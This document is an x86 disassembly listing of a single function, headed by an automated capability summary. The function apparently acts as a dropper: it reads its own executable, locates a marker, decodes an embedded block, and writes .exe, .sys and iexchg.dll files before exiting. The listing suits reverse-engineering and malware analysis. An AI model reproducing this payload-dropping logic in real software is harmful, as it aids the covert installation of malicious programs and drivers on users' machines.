Function at 0x402d6f
Capabilities:
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x828
push ebx
push esi
push edi
call fcn.004023e4
mov edi, 0x200
push edi
call fcn.004037c1
pop ecx
mov esi, eax
push edi
push esi
xor ebx, ebx
push ebx
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00403d14
push esi
call fcn.004028ef
test eax, eax
pop ecx
pop ecx
je 0x403066
push esi
call fcn.0040295e
test eax, eax
pop ecx
je 0x403066
push esi
call fcn.00402d50
test eax, eax
pop ecx
je 0x402dda
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push ebx
push ebx
push 3
push ebx
push ebx
mov edi, 0x80000000
push edi
push esi
call dword [0x406044]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x40305f
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.004037c1
pop ecx
push ebx
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call dword [0x40603c]
push dword [ebp - 0xc]
call dword [0x40604c]
shr esi, 2
xor eax, eax
dec esi
cmp esi, ebx
mov dword [ebp - 0x10], ebx
jbe 0x402efd
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + eax*4]
cmp edx, dword [0x406024]
jne 0x402e5a
mov edx, dword [ecx + eax*4 + 4]
cmp edx, dword [str._8GV]
jne 0x402e5a
lea edx, [eax + 2]
mov dword [ebp - 0x10], edx
inc eax
cmp eax, esi
jb 0x402e3a
cmp dword [ebp - 0x10], ebx
je 0x402f00
mov esi, 0x400
push esi
call fcn.004037c1
push esi
mov dword [ebp - 0xc], eax
call fcn.004037c1
push esi
mov dword [ebp - 0x24], eax
call fcn.004037c1
push esi
push eax
mov dword [ebp - 0x18], eax
call fcn.00403fdf
add esp, 0x14
push str.iexchg.dll
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push edi
push dword [ebp - 0x18]
call dword [0x406044]
mov esi, eax
cmp esi, 0xffffffff
je 0x402f30
push ebx
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 4]
push eax
push esi
call dword [0x40603c]
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x828]
push eax
push esi
call dword [0x40603c]
mov eax, dword [ebp - 0x20]
push esi
mov byte [ebp + eax - 0x828], bl
call dword [0x40604c]
push dword [ebp - 0x18]
call dword [0x406040]
xor esi, esi
jmp 0x402f1f
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.004037d5
pop ecx
jmp 0x40305f
mov eax, esi
inc esi
cmp eax, 0xa
jge 0x402f30
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x828]
push eax
call dword [0x406040]
test eax, eax
je 0x402f0c
push ebx
push ebx
push 4
push ebx
push ebx
mov edi, 0x40000000
push edi
push dword [ebp - 0x18]
call dword [0x406044]
push dword [ebp - 0x18]
mov dword [ebp - 4], eax
call fcn.004037d5
mov dword [esp], str..exe
push dword [ebp - 0xc]
call fcn.00402801
push str..sys
push dword [ebp - 0x24]
call fcn.00402801
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
add esp, 0x10
push dword [ebp - 8]
call esi
push ebx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x406050]
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 8]
push dword [ebp - 4]
call dword [0x406050]
push dword [ebp - 0x24]
call esi
push ebx
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [0x406050]
push ebx
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
push dword [ebp - 4]
call dword [0x406050]
push dword [ebp - 4]
call dword [0x40604c]
push ebx
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [0x406048]
push dword [ebp - 8]
call fcn.004037d5
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
pop ecx
mov ecx, dword [esi + eax*4]
push ebx
push ebx
push 4
push ebx
lea eax, [esi + eax*4 + 4]
push ebx
mov dword [ebp - 8], ecx
mov ecx, dword [eax]
add eax, 4
push edi
push dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
call dword [0x406044]
push dword [ebp - 8]
mov edi, eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.00401bcd
add esp, 0xc
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
call dword [0x406050]
push edi
call dword [0x40604c]
push esi
call fcn.004037d5
push dword [ebp - 0xc]
call fcn.004015d3
test eax, eax
pop ecx
pop ecx
jne 0x403072
xor eax, eax
jmp 0x402dd5
call fcn.004029ef
push esi
call fcn.0040298c
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]